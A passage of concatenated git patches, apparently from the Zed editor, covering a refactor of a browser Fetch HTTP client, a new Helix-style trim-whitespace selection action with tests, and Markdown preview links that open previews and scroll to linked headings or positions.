-                        init.set_redirect(web_sys::RequestRedirect::Manual);
-                    }
-                    RedirectPolicy::FollowLimit(_) | RedirectPolicy::FollowAll => {
-                        init.set_redirect(web_sys::RequestRedirect::Follow);
-                    }
-                }
-            }
+            receiver.await.context("browser fetch task was canceled")?
+        })
+    }
+}
 
-            if let Some(ref bytes) = body_bytes {
-                let uint8array = js_sys::Uint8Array::from(bytes.as_slice());
-                init.set_body(uint8array.as_ref());
+async fn fetch(
+    parts: http_client::http::request::Parts,
+    body_bytes: Option<Vec<u8>>,
+    credentials: FetchCredentials,
+) -> anyhow::Result<http_client::http::Response<AsyncBody>> {
+    let init = web_sys::RequestInit::new();
+    init.set_method(parts.method.as_str());
+    init.set_credentials(match credentials {
+        FetchCredentials::Omit => web_sys::RequestCredentials::Omit,
+        FetchCredentials::SameOrigin => web_sys::RequestCredentials::SameOrigin,
+        FetchCredentials::Include => web_sys::RequestCredentials::Include,
+    });
+
+    if let Some(redirect_policy) = parts.extensions.get::<RedirectPolicy>() {
+        match redirect_policy {
+            RedirectPolicy::NoFollow => {
+                init.set_redirect(web_sys::RequestRedirect::Manual);
             }
-
-            let url = parts.uri.to_string();
-            let request = web_sys::Request::new_with_str_and_init(&url, &init)
-                .map_err(|error| anyhow!("failed to create fetch Request: {error:?}"))?;
-
-            let request_headers = request.headers();
-            for (name, value) in &parts.headers {
-                let value_str = value
-                    .to_str()
-                    .map_err(|_| anyhow!("non-ASCII header value for {name}"))?;
-                request_headers
-                    .set(name.as_str(), value_str)
-                    .map_err(|error| anyhow!("failed to set header {name}: {error:?}"))?;
+            RedirectPolicy::FollowLimit(_) | RedirectPolicy::FollowAll => {
+                init.set_redirect(web_sys::RequestRedirect::Follow);
             }
+        }
+    }
+
+    if let Some(ref bytes) = body_bytes {
+        let uint8array = js_sys::Uint8Array::from(bytes.as_slice());
+        init.set_body(uint8array.as_ref());
+    }
+
+    let url = parts.uri.to_string();
+    let request = web_sys::Request::new_with_str_and_init(&url, &init)
+        .map_err(|error| anyhow!("failed to create fetch Request: {error:?}"))?;
+
+    let request_headers = request.headers();
+    for (name, value) in &parts.headers {
+        let value_str = value
+            .to_str()
+            .map_err(|_| anyhow!("non-ASCII header value for {name}"))?;
+        request_headers
+            .set(name.as_str(), value_str)
+            .map_err(|error| anyhow!("failed to set header {name}: {error:?}"))?;
+    }
 
-            let promise = global_fetch(&request)
-                .map_err(|error| anyhow!("fetch threw an error: {error:?}"))?;
-            let response_value = wasm_bindgen_futures::JsFuture::from(promise)
-                .await
-                .map_err(|error| anyhow!("fetch failed: {error:?}"))?;
-
-            let web_response: web_sys::Response = response_value
-                .dyn_into()
-                .map_err(|error| anyhow!("fetch result is not a Response: {error:?}"))?;
-
-            let status = web_response.status();
-            let mut builder = http_client::http::Response::builder().status(status);
-
-            // `Headers` is a JS iterable yielding `[name, value]` pairs.
-            // `js_sys::Array::from` calls `Array.from()` which accepts any iterable.
-            let header_pairs = js_sys::Array::from(&web_response.headers());
-            for index in 0..header_pairs.length() {
-                match header_pairs.get(index).dyn_into::<js_sys::Array>() {
-                    Ok(pair) => match (pair.get(0).as_string(), pair.get(1).as_string()) {
-                        (Some(name), Some(value)) => {
-                            builder = builder.header(name, value);
-                        }
-                        (name, value) => {
-                            log::warn!(
-                                "skipping response header at index {index}: \
+    let promise =
+        global_fetch(&request).map_err(|error| anyhow!("fetch threw an error: {error:?}"))?;
+    let response_value = wasm_bindgen_futures::JsFuture::from(promise)
+        .await
+        .map_err(|error| anyhow!("fetch failed: {error:?}"))?;
+
+    let web_response: web_sys::Response = response_value
+        .dyn_into()
+        .map_err(|error| anyhow!("fetch result is not a Response: {error:?}"))?;
+
+    let status = web_response.status();
+    let mut builder = http_client::http::Response::builder().status(status);
+
+    // `Headers` is a JS iterable yielding `[name, value]` pairs.
+    // `js_sys::Array::from` calls `Array.from()` which accepts any iterable.
+    let header_pairs = js_sys::Array::from(&web_response.headers());
+    for index in 0..header_pairs.length() {
+        match header_pairs.get(index).dyn_into::<js_sys::Array>() {
+            Ok(pair) => match (pair.get(0).as_string(), pair.get(1).as_string()) {
+                (Some(name), Some(value)) => {
+                    builder = builder.header(name, value);
+                }
+                (name, value) => {
+                    log::warn!(
+                        "skipping response header at index {index}: \
                                      name={name:?}, value={value:?}"
-                            );
-                        }
-                    },
-                    Err(entry) => {
-                        log::warn!("skipping non-array header entry at index {index}: {entry:?}");
-                    }
+                    );
                 }
+            },
+            Err(entry) => {
+                log::warn!("skipping non-array header entry at index {index}: {entry:?}");
             }
-
-            // The entire response body is eagerly buffered into memory via
-            // `arrayBuffer()`. The Fetch API does not expose a synchronous
-            // streaming interface; streaming would require `ReadableStream`
-            // interop which is significantly more complex.
-            let body_promise = web_response
-                .array_buffer()
-                .map_err(|error| anyhow!("failed to initiate response body read: {error:?}"))?;
-            let body_value = wasm_bindgen_futures::JsFuture::from(body_promise)
-                .await
-                .map_err(|error| anyhow!("failed to read response body: {error:?}"))?;
-            let array_buffer: js_sys::ArrayBuffer = body_value
-                .dyn_into()
-                .map_err(|error| anyhow!("response body is not an ArrayBuffer: {error:?}"))?;
-            let response_bytes = js_sys::Uint8Array::new(&array_buffer).to_vec();
-
-            builder
-                .body(AsyncBody::from(response_bytes))
-                .map_err(|error| anyhow!(error))
-        }))
+        }
     }
+
+    // The entire response body is eagerly buffered into memory via
+    // `arrayBuffer()`. The Fetch API does not expose a synchronous
+    // streaming interface; streaming would require `ReadableStream`
+    // interop which is significantly more complex.
+    let body_promise = web_response
+        .array_buffer()
+        .map_err(|error| anyhow!("failed to initiate response body read: {error:?}"))?;
+    let body_value = wasm_bindgen_futures::JsFuture::from(body_promise)
+        .await
+        .map_err(|error| anyhow!("failed to read response body: {error:?}"))?;
+    let array_buffer: js_sys::ArrayBuffer = body_value
+        .dyn_into()
+        .map_err(|error| anyhow!("response body is not an ArrayBuffer: {error:?}"))?;
+    let response_bytes = js_sys::Uint8Array::new(&array_buffer).to_vec();
+
+    builder
+        .body(AsyncBody::from(response_bytes))
+        .map_err(|error| anyhow!(error))
 }
 
 async fn read_body_to_bytes(mut body: AsyncBody) -> anyhow::Result<Option<Vec<u8>>> {
diff --git a/crates/gpui_web/src/platform.rs b/crates/gpui_web/src/platform.rs
index bec68aaf6f04b9..33af331e30285c 100644
--- a/crates/gpui_web/src/platform.rs
+++ b/crates/gpui_web/src/platform.rs
@@ -1,6 +1,7 @@
 use crate::dispatcher::WebDispatcher;
 use crate::display::WebDisplay;
 use crate::events::EventListenerHandle;
+use crate::http_client::FetchHttpClient;
 use crate::keyboard::WebKeyboardLayout;
 use crate::window::WebWindow;
 use anyhow::Result;
@@ -34,6 +35,7 @@ static BUNDLED_FONTS: &[&[u8]] = &[
 
 pub struct WebPlatform {
     browser_window: web_sys::Window,
+    dispatcher: Arc<WebDispatcher>,
     background_executor: BackgroundExecutor,
     foreground_executor: ForegroundExecutor,
     text_system: Arc<dyn PlatformTextSystem>,
@@ -67,7 +69,7 @@ impl WebPlatform {
             allow_multi_threading,
         ));
         let background_executor = BackgroundExecutor::new(dispatcher.clone());
-        let foreground_executor = ForegroundExecutor::new(dispatcher);
+        let foreground_executor = ForegroundExecutor::new(dispatcher.clone());
         let text_system = Arc::new(gpui_wgpu::CosmicTextSystem::new_without_system_fonts(
             "IBM Plex Sans",
         ));
@@ -92,6 +94,7 @@ impl WebPlatform {
 
         Self {
             browser_window,
+            dispatcher,
             background_executor,
             foreground_executor,
             text_system,
@@ -104,6 +107,19 @@ impl WebPlatform {
             _cursor_restore_listeners: cursor_restore_listeners,
         }
     }
+
+    /// Returns an HTTP client that runs browser Fetch operations on this platform's main thread.
+    pub fn fetch_http_client(&self) -> FetchHttpClient {
+        FetchHttpClient::new(self.dispatcher.clone())
+    }
+
+    /// Returns a browser Fetch HTTP client with the given reported user agent.
+    pub fn fetch_http_client_with_user_agent(
+        &self,
+        user_agent: &str,
+    ) -> anyhow::Result<FetchHttpClient> {
+        FetchHttpClient::with_user_agent(self.dispatcher.clone(), user_agent)
+    }
 }
 
 impl Platform for WebPlatform {

From b6ebe0ff35cf3beaecaae2a89ec15b2c4e26a182 Mon Sep 17 00:00:00 2001
From: Jorge Gomez <jgart@dismail.de>
Date: Tue, 28 Jul 2026 09:33:21 -0400
Subject: [PATCH 742/772] vim: Add Helix `_` action to trim whitespace from
 selections (#55253)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [X] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #53517

Release Notes:

- Added Helix trim whitespace from selections action on `_`.

---------

Co-authored-by: Tom Houlé <tom@tomhoule.com>
---
 assets/keymaps/vim.json |   1 +
 crates/vim/src/helix.rs | 133 ++++++++++++++++++++++++++++++++++++++++
 2 files changed, 134 insertions(+)

diff --git a/assets/keymaps/vim.json b/assets/keymaps/vim.json
index 915e961e373685..3acbbc73dadba5 100644
--- a/assets/keymaps/vim.json
+++ b/assets/keymaps/vim.json
@@ -487,6 +487,7 @@
       "x": "vim::HelixSelectLine",
       "*": "buffer_search::UseSelectionForFind",
       "shift-x": "editor::SelectLine",
+      "_": "vim::HelixTrimSelections",
       "ctrl-c": "editor::ToggleComments",
       "alt-o": "editor::SelectLargerSyntaxNode",
       "alt-i": "editor::SelectSmallerSyntaxNode",
diff --git a/crates/vim/src/helix.rs b/crates/vim/src/helix.rs
index a0b9bf6f3ccae8..8de9fa58894fa2 100644
--- a/crates/vim/src/helix.rs
+++ b/crates/vim/src/helix.rs
@@ -63,6 +63,9 @@ actions!(
         HelixSelectNext,
         /// Select the previous match for the current search query.
         HelixSelectPrevious,
+        /// Trim leading and trailing whitespace from each selection.
+        /// Originally-empty selections (cursors) are dropped before trimming.
+        HelixTrimSelections,
     ]
 );
 
@@ -89,6 +92,7 @@ pub fn register(editor: &mut Editor, cx: &mut Context<Vim>) {
     Vim::action(editor, cx, Vim::helix_jump_to_word);
     Vim::action(editor, cx, Vim::helix_select_next);
     Vim::action(editor, cx, Vim::helix_select_previous);
+    Vim::action(editor, cx, Vim::helix_trim_selections);
     Vim::action(editor, cx, |vim, _: &PushHelixSurroundAdd, window, cx| {
         vim.clear_operator(window, cx);
         vim.push_operator(Operator::HelixSurroundAdd, window, cx);
@@ -912,6 +916,94 @@ impl Vim {
         });
     }
 
+    fn helix_trim_selections(
+        &mut self,
+        _: &HelixTrimSelections,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        Vim::take_count(cx);
+        Vim::take_forced_motion(cx);
+        self.update_editor(cx, |_, editor, cx| {
+            let display_snapshot = editor.display_snapshot(cx);
+            let buffer = display_snapshot.buffer_snapshot();
+            let selections = editor
+                .selections
+                .all::<MultiBufferOffset>(&display_snapshot);
+            let mut trimmed = Vec::new();
+
+            for selection in &selections {
+                if selection.is_empty() {
+                    continue;
+                }
+                let all_whitespace = buffer
+                    .text_for_range(selection.start..selection.end)
+                    .flat_map(|chunk| chunk.chars())
+                    .all(|ch| ch.is_whitespace());
+                if all_whitespace {
+                    continue;
+                }
+
+                let mut new_start = selection.start;
+                for ch in buffer.chars_at(selection.start) {
+                    if !ch.is_whitespace() {
+                        break;
+                    }
+                    new_start += ch.len_utf8();
+                }
+
+                let mut new_end = selection.end;
+                for ch in buffer.reversed_chars_at(selection.end) {
+                    if !ch.is_whitespace() {
+                        break;
+                    }
+                    new_end -= ch.len_utf8();
+                }
+
+                let mut new_selection = selection.clone();
+                new_selection.start = new_start;
+                new_selection.end = new_end;
+                trimmed.push(new_selection);
+            }
+
+            if !trimmed.is_empty() {
+                editor.change_selections(Default::default(), window, cx, |s| {
+                    s.select(trimmed);
+                });
+                return;
+            }
+
+            // All selections were empty or entirely whitespace. Match Helix's
+            // fallback: `collapse_selection` followed by `keep_primary_selection`.
+            // Take the newest selection and collapse it to a one-char cursor at
+            // the head (head - 1 for a forward, non-empty selection; head as-is
+            // otherwise).
+            let newest = editor
+                .selections
+                .newest::<MultiBufferOffset>(&display_snapshot);
+            let head = if newest.reversed {
+                newest.start
+            } else {
+                newest.end
+            };
+            let cursor_offset = if !newest.reversed && !newest.is_empty() {
+                let mut p = head;
+                if let Some(ch) = buffer.reversed_chars_at(head).next() {
+                    p -= ch.len_utf8();
+                }
+                p
+            } else {
+                head
+            };
+            let mut collapsed = newest;
+            collapsed.start = cursor_offset;
+            collapsed.end = cursor_offset;
+            editor.change_selections(Default::default(), window, cx, |s| {
+                s.select(vec![collapsed]);
+            });
+        });
+    }
+
     fn do_helix_substitute(&mut self, yank: bool, window: &mut Window, cx: &mut Context<Self>) {
         self.update_editor(cx, |vim, editor, cx| {
             editor.set_clip_at_line_ends(false, cx);
@@ -4472,4 +4564,45 @@ mod test {
 
         cx.assert_state("const after = 2; console.log(afterˇ)", Mode::HelixNormal);
     }
+
+    #[gpui::test]
+    async fn test_helix_trim_selections(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.enable_helix();
+
+        // Canonical case: a line selection (as produced by `x`) including its
+        // trailing newline. `_` strips the leading indent and trailing newline.
+        cx.set_state("«    indented line\nˇ»next line\n", Mode::HelixNormal);
+        cx.simulate_keystrokes("_");
+        cx.assert_state("    «indented lineˇ»\nnext line\n", Mode::HelixNormal);
+    }
+
+    #[gpui::test]
+    async fn test_helix_trim_selections_all_whitespace(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.enable_helix();
+
+        // An entirely-whitespace selection is filtered out before trimming.
+        // When every selection filters out, Helix falls back to
+        // `collapse_selection` + `keep_primary_selection`, which collapses the
+        // primary selection to a one-char cursor at head - 1 (the last
+        // whitespace char of the original selection).
+        cx.set_state("aa«    ˇ»next\n", Mode::HelixNormal);
+        cx.simulate_keystrokes("_");
+        cx.assert_state("aa   ˇ next\n", Mode::HelixNormal);
+    }
+
+    #[gpui::test]
+    async fn test_helix_trim_selections_consumes_count(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.enable_helix();
+
+        // A count is meaningless for `_`, but it must not leak into the next
+        // command.
+        cx.set_state("«  aa  ˇ»\nbbb\nccc\n", Mode::HelixNormal);
+        cx.simulate_keystrokes("2 _");
+        cx.assert_state("  «aaˇ»  \nbbb\nccc\n", Mode::HelixNormal);
+        cx.simulate_keystrokes("x");
+        cx.assert_state("«  aa  \nˇ»bbb\nccc\n", Mode::HelixNormal);
+    }
 }

From 1102219f812293a09da88eff1df95fbcedde6b09 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Tue, 28 Jul 2026 19:26:46 +0530
Subject: [PATCH 743/772] markdown_preview: Open Markdown links in preview and
 scroll to linked headings and positions (#61784)

Closes #60985

Clicking a link to a Markdown file from a Markdown preview now opens the
target in a preview instead of the raw editor buffer. `alt`-click opens
the raw source editor instead.

- If there exists existing preview of that file it is reused. A link
back to the file being previewed navigates in place.
- `file.md#heading-slug` scrolls the preview to the linked heading.
- `file.md:42:5`, `file.md#L42` and `file.md#L42C5` open the preview
scrolled to that position with the cursor placed there. Non-Markdown
targets keep the existing behavior from #60864 (raw editor at the
position).

Added tests covering these and more cases.

Release Notes:

- Improved Markdown preview links: links to Markdown files now open in a
preview (scrolled to the linked heading or position) instead of the raw
file, and `alt`-click opens the raw source instead.
- Fixed GitHub-style `#L<line>C<column>` link fragments not placing the
cursor at the linked position.
---
 crates/markdown/src/markdown.rs               |  57 +-
 .../src/markdown_preview_view.rs              | 622 ++++++++++++++++--
 crates/project_panel/src/project_panel.rs     |  13 +-
 crates/util/src/markdown.rs                   |  12 +-
 4 files changed, 633 insertions(+), 71 deletions(-)

diff --git a/crates/markdown/src/markdown.rs b/crates/markdown/src/markdown.rs
index 98443eba690482..25dcd06528a97c 100644
--- a/crates/markdown/src/markdown.rs
+++ b/crates/markdown/src/markdown.rs
@@ -395,6 +395,8 @@ pub struct Markdown {
     pressed_link: Option<RenderedLink>,
     pressed_footnote_ref: Option<RenderedFootnoteRef>,
     autoscroll_request: Option<usize>,
+    pending_heading_scroll: Option<SharedString>,
+    pending_autoscroll: Option<usize>,
     active_root_block: Option<usize>,
     parsed_markdown: ParsedMarkdown,
     images_by_source_offset: HashMap<usize, Arc<Image>>,
@@ -588,6 +590,8 @@ impl Markdown {
             pressed_link: None,
             pressed_footnote_ref: None,
             autoscroll_request: None,
+            pending_heading_scroll: None,
+            pending_autoscroll: None,
             active_root_block: None,
             should_reparse: false,
             images_by_source_offset: Default::default(),
@@ -705,6 +709,14 @@ impl Markdown {
         self.pending_parse.is_some()
     }
 
+    pub fn scroll_to_heading_when_parsed(&mut self, slug: SharedString, cx: &mut Context<Self>) {
+        if self.pending_parse.is_some() || self.source.is_empty() {
+            self.pending_heading_scroll = Some(slug);
+        } else {
+            self.scroll_to_heading(&slug, cx);
+        }
+    }
+
     pub fn scroll_to_heading(&mut self, slug: &str, cx: &mut Context<Self>) -> Option<usize> {
         if let Some(source_index) = self.parsed_markdown.heading_slugs.get(slug).copied() {
             self.autoscroll_request = Some(source_index);
@@ -756,7 +768,11 @@ impl Markdown {
         source_index: usize,
         cx: &mut Context<Self>,
     ) {
-        self.autoscroll_request = Some(source_index);
+        if self.pending_parse.is_some() {
+            self.pending_autoscroll = Some(source_index);
+        } else {
+            self.autoscroll_request = Some(source_index);
+        }
         cx.refresh_windows();
     }
 
@@ -784,11 +800,24 @@ impl Markdown {
 
     pub fn reset(&mut self, source: SharedString, cx: &mut Context<Self>) {
         if &source == self.source() {
+            if self.pending_parse.is_none() {
+                if let Some(slug) = self.pending_heading_scroll.take() {
+                    self.pending_autoscroll = None;
+                    self.scroll_to_heading(&slug, cx);
+                } else if let Some(source_index) = self.pending_autoscroll.take() {
+                    self.autoscroll_request = Some(source_index);
+                    cx.refresh_windows();
+                }
+            }
             return;
         }
+        if !self.source.is_empty() {
+            self.pending_heading_scroll = None;
+        }
         self.source = source;
         self.selection = Selection::default();
         self.autoscroll_request = None;
+        self.pending_autoscroll = None;
         self.pending_parse = None;
         self.should_reparse = false;
         self.search_highlights.clear();
@@ -940,6 +969,8 @@ impl Markdown {
         if self.source.is_empty() {
             self.should_reparse = false;
             self.pending_parse.take();
+            self.pending_heading_scroll = None;
+            self.pending_autoscroll = None;
             self.parsed_markdown = ParsedMarkdown {
                 source: self.source.clone(),
                 ..Default::default()
@@ -1100,6 +1131,14 @@ impl Markdown {
                 this.pending_parse.take();
                 if this.should_reparse {
                     this.parse(cx);
+                } else if let Some(slug) = this.pending_heading_scroll.take()
+                    && let Some(source_index) =
+                        this.parsed_markdown.heading_slugs.get(&slug).copied()
+                {
+                    this.pending_autoscroll = None;
+                    this.autoscroll_request = Some(source_index);
+                } else if let Some(source_index) = this.pending_autoscroll.take() {
+                    this.autoscroll_request = Some(source_index);
                 }
                 cx.notify();
                 cx.refresh_windows();
@@ -4027,17 +4066,15 @@ impl RenderedText {
 
     fn position_for_source_index(&self, source_index: usize) -> Option<(Point<Pixels>, Pixels)> {
         for line in self.lines.iter() {
-            let line_source_start = line.source_mappings.first().unwrap().source_index;
-            if source_index < line_source_start {
-                break;
-            } else if source_index > line.source_end {
+            if source_index > line.source_end {
                 continue;
-            } else {
-                let line_height = line.layout.line_height();
-                let rendered_index_within_line = line.rendered_index_for_source_index(source_index);
-                let position = line.layout.position_for_index(rendered_index_within_line)?;
-                return Some((position, line_height));
             }
+            let line_source_start = line.source_mappings.first().unwrap().source_index;
+            let source_index = source_index.max(line_source_start);
+            let line_height = line.layout.line_height();
+            let rendered_index_within_line = line.rendered_index_for_source_index(source_index);
+            let position = line.layout.position_for_index(rendered_index_within_line)?;
+            return Some((position, line_height));
         }
         None
     }
diff --git a/crates/markdown_preview/src/markdown_preview_view.rs b/crates/markdown_preview/src/markdown_preview_view.rs
index e2496ae6e46205..be3a777ac62f81 100644
--- a/crates/markdown_preview/src/markdown_preview_view.rs
+++ b/crates/markdown_preview/src/markdown_preview_view.rs
@@ -15,7 +15,7 @@ use gpui::{
     InteractiveElement, IntoElement, IsZero, Pixels, Render, Resource, RetainAllImageCache,
     ScrollHandle, SharedString, SharedUri, Subscription, Task, WeakEntity, Window, point, px,
 };
-use language::LanguageRegistry;
+use language::{Buffer, LanguageRegistry};
 use markdown::{
     CodeBlockRenderer, CopyButtonVisibility, Markdown, MarkdownElement, MarkdownFont,
     MarkdownOptions, MarkdownStyle,
@@ -100,6 +100,11 @@ pub enum MarkdownPreviewEvent {
     SourceFileHandleChanged,
 }
 
+enum PreviewLinkTarget {
+    Heading(SharedString),
+    Position { row: u32, column: u32 },
+}
+
 impl MarkdownPreviewView {
     pub fn register(workspace: &mut Workspace, _window: &mut Window, _cx: &mut Context<Workspace>) {
         workspace.register_action(move |workspace, _: &OpenPreview, window, cx| {
@@ -195,30 +200,30 @@ impl MarkdownPreviewView {
         let target_buffer = editor.read(cx).buffer().read(cx).as_singleton()?;
         pane.items_of_type::<MarkdownPreviewView>()
             .find(|view| {
-                let view_read = view.read(cx);
                 // Only look for independent (Default mode) previews, not Follow previews.
                 // Match by buffer entity rather than editor entity so the lookup survives
                 // workspace restoration, where the preview's bound editor may differ from
                 // the editor the user is currently invoking the action on even though both
                 // wrap the same source buffer.
-                view_read.mode == MarkdownPreviewMode::Default
-                    && view_read
-                        .active_editor
-                        .as_ref()
-                        .is_some_and(|active_editor| {
-                            active_editor
-                                .editor
-                                .read(cx)
-                                .buffer()
-                                .read(cx)
-                                .as_singleton()
-                                .as_ref()
-                                == Some(&target_buffer)
-                        })
+                view.read(cx).mode == MarkdownPreviewMode::Default
+                    && view.read(cx).is_previewing(&target_buffer, cx)
             })
             .and_then(|view| pane.index_for_item(&view))
     }
 
+    fn is_previewing(&self, buffer: &Entity<Buffer>, cx: &App) -> bool {
+        self.active_editor.as_ref().is_some_and(|state| {
+            state
+                .editor
+                .read(cx)
+                .buffer()
+                .read(cx)
+                .as_singleton()
+                .as_ref()
+                == Some(buffer)
+        })
+    }
+
     pub fn resolve_active_item_as_markdown_editor(
         workspace: &Workspace,
         cx: &mut Context<Workspace>,
@@ -363,10 +368,14 @@ impl MarkdownPreviewView {
         }
     }
 
-    pub fn is_markdown_path(path: impl AsRef<Path>) -> bool {
-        path.as_ref().extension().is_some_and(|ext| {
-            ext.eq_ignore_ascii_case("md") || ext.eq_ignore_ascii_case("markdown")
-        })
+    pub fn is_markdown_path(path: impl AsRef<Path>, languages: &Arc<LanguageRegistry>) -> bool {
+        languages
+            .language_for_file_path(path.as_ref())
+            .is_some_and(|language_id| {
+                languages
+                    .available_language_for_name("Markdown")
+                    .is_some_and(|markdown| markdown.id() == language_id)
+            })
     }
 
     pub fn open_for_project_path(
@@ -623,6 +632,47 @@ impl MarkdownPreviewView {
         });
     }
 
+    fn navigate_to_link_target(
+        &mut self,
+        target: Option<PreviewLinkTarget>,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) {
+        match target {
+            None => {}
+            Some(PreviewLinkTarget::Heading(slug)) => {
+                self.markdown.update(cx, |markdown, cx| {
+                    markdown.scroll_to_heading_when_parsed(slug, cx);
+                });
+            }
+            Some(PreviewLinkTarget::Position { row, column }) => {
+                let Some(editor) = self
+                    .active_editor
+                    .as_ref()
+                    .map(|state| state.editor.clone())
+                else {
+                    return;
+                };
+                let Some(source_index) =
+                    editor
+                        .read(cx)
+                        .buffer()
+                        .read(cx)
+                        .as_singleton()
+                        .map(|buffer| {
+                            let snapshot = buffer.read(cx).snapshot();
+                            let point = snapshot.point_from_external_input(row, column);
+                            snapshot.point_to_offset(point)
+                        })
+                else {
+                    return;
+                };
+                Self::change_selection_to_source_index(&editor, source_index, false, window, cx);
+                self.sync_preview_to_source_index(source_index, true, cx);
+            }
+        }
+    }
+
     fn change_selection_to_source_index(
         editor: &Entity<Editor>,
         source_index: usize,
@@ -1079,6 +1129,7 @@ fn handle_url_click(
             SharedString::from(path_part.to_string()),
             fragment.map(|fragment| SharedString::from(fragment.to_string())),
             base_directory,
+            Some(view.clone()),
             workspace,
             window,
             cx,
@@ -1090,43 +1141,77 @@ fn open_preview_url(
     url: SharedString,
     fragment: Option<SharedString>,
     base_directory: Option<PathBuf>,
+    source_view: Option<WeakEntity<MarkdownPreviewView>>,
     workspace: &WeakEntity<Workspace>,
     window: &mut Window,
     cx: &mut App,
 ) {
     let decoded_path = urlencoding::decode(&url).unwrap_or_else(|_| Cow::Borrowed(&url));
 
-    // Only `://` URLs skip position handling (a scheme check would misclassify `main.rs:2`); ambiguous links like `tel:123` are tried as files first, then fall back to the URL handler.
-    let path_with_position = if !decoded_path.contains("://") {
-        if PathWithPosition::parse_str(&decoded_path).row.is_some() {
-            Some(decoded_path.to_string())
-        } else {
-            fragment
-                .as_deref()
-                .and_then(|fragment| fragment.strip_prefix('L'))
-                .and_then(source_position_from_fragment)
-                .map(|(row, column)| {
-                    if column == 0 {
-                        format!("{decoded_path}:{}", row + 1)
-                    } else {
-                        format!("{decoded_path}:{}:{}", row + 1, column + 1)
-                    }
+    // Only `://` URLs skip local handling (a scheme check would misclassify `main.rs:2`); ambiguous links like `tel:123` are tried as files first, then fall back to the URL handler.
+    if !decoded_path.contains("://") {
+        let parsed_path = PathWithPosition::parse_str(&decoded_path);
+        let fragment_position = fragment
+            .as_deref()
+            .and_then(|fragment| fragment.strip_prefix('L'))
+            .and_then(source_position_from_fragment);
+
+        if !window.modifiers().alt
+            && workspace
+                .read_with(cx, |workspace, cx| {
+                    MarkdownPreviewView::is_markdown_path(
+                        &parsed_path.path,
+                        workspace.project().read(cx).languages(),
+                    )
                 })
+                .is_ok_and(|is_markdown| is_markdown)
+        {
+            let link_target = if let Some(row) = parsed_path.row {
+                Some(PreviewLinkTarget::Position {
+                    row: row.saturating_sub(1),
+                    column: parsed_path.column.unwrap_or(1).saturating_sub(1),
+                })
+            } else if let Some((row, column)) = fragment_position {
+                Some(PreviewLinkTarget::Position { row, column })
+            } else {
+                fragment.map(PreviewLinkTarget::Heading)
+            };
+            open_markdown_link_in_preview(
+                parsed_path.path.to_string_lossy().into_owned(),
+                link_target,
+                decoded_path.into_owned(),
+                base_directory,
+                source_view,
+                workspace,
+                window,
+                cx,
+            );
+            return;
         }
-    } else {
-        None
-    };
 
-    if let Some(path_with_position) = path_with_position {
-        open_preview_path_with_position(
-            path_with_position,
-            decoded_path.into_owned(),
-            base_directory,
-            workspace,
-            window,
-            cx,
-        );
-        return;
+        let path_with_position = if parsed_path.row.is_some() {
+            Some(decoded_path.to_string())
+        } else {
+            fragment_position.map(|(row, column)| {
+                if column == 0 {
+                    format!("{decoded_path}:{}", row + 1)
+                } else {
+                    format!("{decoded_path}:{}:{}", row + 1, column + 1)
+                }
+            })
+        };
+
+        if let Some(path_with_position) = path_with_position {
+            open_preview_path_with_position(
+                path_with_position,
+                decoded_path.into_owned(),
+                base_directory,
+                workspace,
+                window,
+                cx,
+            );
+            return;
+        }
     }
 
     if let Some(workspace) = workspace.upgrade() {
@@ -1138,6 +1223,110 @@ fn open_preview_url(
     }
 }
 
+fn find_preview_for_buffer(
+    workspace: &Workspace,
+    buffer: &Entity<Buffer>,
+    cx: &App,
+) -> Option<Entity<MarkdownPreviewView>> {
+    workspace
+        .items_of_type::<MarkdownPreviewView>(cx)
+        .find(|view| {
+            view.read(cx).mode == MarkdownPreviewMode::Default
+                && view.read(cx).is_previewing(buffer, cx)
+        })
+}
+
+fn open_markdown_link_in_preview(
+    path: String,
+    link_target: Option<PreviewLinkTarget>,
+    fallback_url: String,
+    base_directory: Option<PathBuf>,
+    source_view: Option<WeakEntity<MarkdownPreviewView>>,
+    workspace: &WeakEntity<Workspace>,
+    window: &mut Window,
+    cx: &mut App,
+) {
+    let open_target = resolve_open_target(
+        workspace,
+        PathMatching::Exact,
+        &path,
+        base_directory.as_deref(),
+        cx,
+    );
+    let workspace = workspace.clone();
+    let workspace_for_error = workspace.clone();
+    let task = window.spawn(cx, async move |cx| {
+        let target_path = open_target
+            .await
+            .filter(|open_target| open_target.is_file())
+            .map(|open_target| open_target.path().path.clone());
+        let Some(abs_path) = target_path else {
+            workspace.update_in(cx, |workspace, window, cx| {
+                workspace.open_url_or_file(&fallback_url, base_directory.as_deref(), window, cx);
+            })?;
+            return anyhow::Ok(());
+        };
+
+        let project = workspace.read_with(cx, |workspace, _| workspace.project().clone())?;
+        let (worktree, relative_path) = project
+            .update(cx, |project, cx| {
+                project.find_or_create_worktree(abs_path, false, cx)
+            })
+            .await
+            .context("resolving Markdown preview link worktree")?;
+        let worktree_id = worktree.read_with(cx, |worktree, _| worktree.id());
+        let buffer = project
+            .update(cx, |project, cx| {
+                project.open_buffer(
+                    ProjectPath {
+                        worktree_id,
+                        path: relative_path,
+                    },
+                    cx,
+                )
+            })
+            .await
+            .context("opening Markdown preview link buffer")?;
+
+        workspace.update_in(cx, |workspace, window, cx| {
+            if let Some(source_view) = source_view.as_ref().and_then(|view| view.upgrade())
+                && source_view.read(cx).is_previewing(&buffer, cx)
+            {
+                source_view.update(cx, |view, cx| {
+                    view.navigate_to_link_target(link_target, window, cx);
+                });
+                return;
+            }
+
+            if let Some(existing_view) = find_preview_for_buffer(workspace, &buffer, cx) {
+                workspace.activate_item(&existing_view, true, true, window, cx);
+                existing_view.update(cx, |view, cx| {
+                    view.navigate_to_link_target(link_target, window, cx);
+                });
+                return;
+            }
+
+            let editor = cx.new(|cx| {
